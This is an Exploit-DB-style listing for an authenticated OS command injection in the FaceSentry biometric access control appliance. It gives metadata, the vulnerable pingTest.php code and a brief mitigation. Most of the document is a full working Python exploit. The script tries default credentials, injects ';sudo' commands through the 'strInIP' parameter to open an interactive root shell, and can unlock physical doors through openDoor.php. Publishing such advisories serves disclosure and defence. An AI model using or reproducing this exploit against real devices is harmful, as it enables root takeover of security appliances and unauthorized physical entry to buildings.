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vendor:
FaceSentry Access Control System
by:
Gjoko 'LiquidWorm' Krstic
9.0
CVSS
HIGH
Authenticated OS Command Injection
78
CWE
Product Name: FaceSentry Access Control System
Affected Version From: Firmware 6.4.8 build 264 (Algorithm A16)
Affected Version To: Firmware 5.7.0 build 539 (Algorithm A14)
Patch Exists: YES
Related CWE: N/A
CPE: a:iwt_ltd:facesentry_access_control_system
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus), Linux 3.4.113-sun8i (armv7l), PHP/7.0.30-0ubunutu4.16
2018

FaceSentry Access Control System 6.4.8 Remote Root Exploit

FaceSentry suffers from an authenticated OS command injection vulnerability using default credentials. This can be exploited to inject and execute arbitrary shell commands as the root user via the 'strInIP' POST parameter in pingTest PHP script.

Mitigation:

Ensure that the application is not vulnerable to OS command injection attacks by validating all user input and using a whitelist of accepted characters.
Source

Exploit-DB raw data:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# FaceSentry Access Control System 6.4.8 Remote Root Exploit
#
#
# Vendor: iWT Ltd.
# Product web page: http://www.iwt.com.hk
# Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
#                   Firmware 5.7.2 build 568 (Algorithm A14)
#                   Firmware 5.7.0 build 539 (Algorithm A14)
#
# Summary: FaceSentry 5AN is a revolutionary smart identity
# management appliance that offers entry via biometric face
# identification, contactless smart card, staff ID, or QR-code.
# The QR-code upgrade allows you to share an eKey with guests
# while you're away from your Office and monitor all activity
# via the web administration tool. Powered by standard PoE
# (Power over Ethernet), FaceSEntry 5AN can be installed in
# minutes with only 6 screws. FaceSentry 5AN is a true enterprise
# grade access control or time-and-attendance appliance.
#
# Desc: FaceSentry suffers from an authenticated OS command
# injection vulnerability using default credentials. This can
# be exploited to inject and execute arbitrary shell commands
# as the root user via the 'strInIP' POST parameter in pingTest
# PHP script.
#
# ==============================================================
# /pingTest.php:
# --------------
# 8:  if (!isAuth('TestTools','R')){
# 9:      echo "No Permission";
# 10:     include("footer.php");
# 11:     exit;
# 12:  }
# 13:
# 14: if(isset($_POST["strInIP"])){
# 15:     $strInIP = $_POST["strInIP"];
# 16: }else{
# 17:     $strInIP = "";
# 18: }
# 19:
# 20: $strOperationResult = "";
# 21: if ($strInIP != ""){
# 22:
# 23:    $out = array(); 
# 24:    exec("sudo ping -c 4 $strInIP",$out);
# 25:    $result = "";    
# 26:    foreach($out as $line){
# 27:        $result = $result.$line."<br>";        
# 28:    }
# ==============================================================
#
# Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
#            Linux 3.4.113-sun8i (armv7l)
#            PHP/7.0.30-0ubuntu0.16.04.1
#            PHP/7.0.22-0ubuntu0.16.04.1
#            lighttpd/1.4.35
#            Armbian 5.38
#            Sunxi Linux (sun8i generation)
#            Orange Pi PC +
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5525
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5525.php
#
#
# 28.05.2019
#

import datetime########INITIALIZE
import urllib2#########BIOMETRICS
import urllib##########FACIAL.REC
import time############OGNITION.S
import sys##(.)###(.)##YSTEM.DOOR
import re#######O######UNLOCKED.A
import os#######_######CCESS.GRAN
import io######(_)#####TED.0B1000
import py##############1.11111011

from cookielib import CookieJar

global pajton
pajton = os.path.basename(sys.argv[0])

def usage():
    if len(sys.argv) < 2:
        print '[+] Usage: ./' + pajton + ' <ip>\n'
        sys.exit()

def auth():
    brojac = 0
    usernames = [ 'admin', 'user', 'administrator' ] # case sensitive
    passwords = [ '123', '123', '123456' ]
    while brojac < 3:
        podatoci = { 'strInLogin'    : usernames[brojac],
                     'strInPassword' : passwords[brojac],
                     'saveLogin'     : '1',
                     'saveFor'       : '168' } # 7 days
        print '[+] Trying creds ' + usernames[brojac] + ':' + passwords[brojac]
        nesto_encode = urllib.urlencode(podatoci)
        ajde.open('http://' + target + '/login.php', nesto_encode)
        check = ajde.open('http://' + target + '/sentryInfo.php')
        dool = re.search(r'Hardware Key', check.read())
        if dool:
            print '[+] That worked!'
            break
        else:
            brojac += 1
            if brojac == 3:
                print '[!] Ah ah ah. You didn\'t say the magic word!'
                sys.exit()

def door():
    unlock = raw_input('[*] Unlock door No.: ') # default door number = 0
    try:
        br = int(unlock)
        panel = { 'strInAction'           : 'openDoor',
                  'strInPanelNo'          : br,
                  'strInRestartAction'    : '',
                  'strPanelIDRestart'     : '',
                  'strPanelRestartAction' : '' }
        nesto_encode = urllib.urlencode(panel)
        ajde.open('http://' + target + '/openDoor.php', nesto_encode)
        print '[+] Door ' + unlock + ' is unlocked!'
    except ValueError:
        print '[!] Only values from 0 to 8 are valid.'
        door()

def main():
    if os.name == 'posix':
        os.system('clear')
    if os.name == 'nt':
        os.system('cls')

    vremetodeneska = datetime.datetime.now()
    kd = vremetodeneska.strftime('%d.%m.%Y %H:%M:%S')
    print 'Starting exploit at ' + kd

    print '''
──────────────────────────────────
──FaceSentry Access Control System
────────Remote Root Exploit
─────────Zero Science Lab
────────www.zeroscience.mk
───────────ZSL-2019-5525
─────────────▄▄▄▄▄▄▄▄▄
─────────────▌▐░▀░▀░▀▐
─────────────▌░▌░░░░░▐
─────────────▌░░░░░░░▐
─────────────▄▄▄▄▄▄▄▄▄
───────▄▀▀▀▀▀▌▄█▄░▄█▄▐▀▀▀▀▀▄
──────█▒▒▒▒▒▐░░░░▄░░░░▌▒▒▒▒▒█
─────▐▒▒▒▒▒▒▒▌░░░░░░░▐▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▒█░▀▀▀▀▀░█▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▒▒█▄▄▄▄▄█▒▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▌
─────▐▒▒▒▒▒█▒▒▒▒▒▒▒▒▒▒▒█▒▒▒▒▒▌
─────▐▒▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▌▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▌▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▌▄▄▄▄▄▄▄▄▄▐▒▒▒▒▒▒▌
─────▐▄▄▄▄▄▄▌▌███████▌▐▄▄▄▄▄▄▌
──────█▀▀▀▀█─▌███▌███▌─█▀▀▀▀█
──────▐░░░░▌─▌███▌███▌─▐░░░░▌
───────▀▀▀▀──▌███▌███▌──▀▀▀▀
─────────────▌███▌███▌
─────────────▌███▌███▌
───────────▐▀▀▀██▌█▀▀▀▌
▒▒▒▒▒▒▒▒▒▒▒▐▄▄▄▄▄▄▄▄▄▄▌▒▒▒▒▒▒▒▒▒▒▒
    '''

    usage()
    tegla = CookieJar()
    global ajde, target
    target = sys.argv[1]
    ajde = urllib2.build_opener(urllib2.HTTPCookieProcessor(tegla))
    auth()
    raw_input('\n[*] Press [ENTER] to land... ')

    print '[+] Entering interactive (web)shell...'
    time.sleep(1)
    print

    while True:
        try:
            cmd = raw_input('root@facesentry:~# ')
            if 'exit' in cmd.strip():
                print '[+] Take care now, bye bye then!'
                break
            if 'door' in cmd.strip():
                door()
                continue
            podatoci = { 'strInIP' : ';sudo ' + cmd } # |cmd
            nesto_encode = urllib.urlencode(podatoci)
            r_izraz = ajde.open('http://' + target + '/pingTest.php?', nesto_encode)
            pattern = re.search(cmd+'\)<[^>]*>(.*?)</font>', r_izraz.read())
            x = pattern.groups()[0].strip()
            y = x.replace('<br>', '\n')
            print y.strip()
        except Exception as i:
            print '[-] Error: ' + i.message
            pass
        except KeyboardInterrupt as k:
            print '\n[+] Interrupter!'
            sys.exit()

    sys.exit()

if __name__ == "__main__":
    main()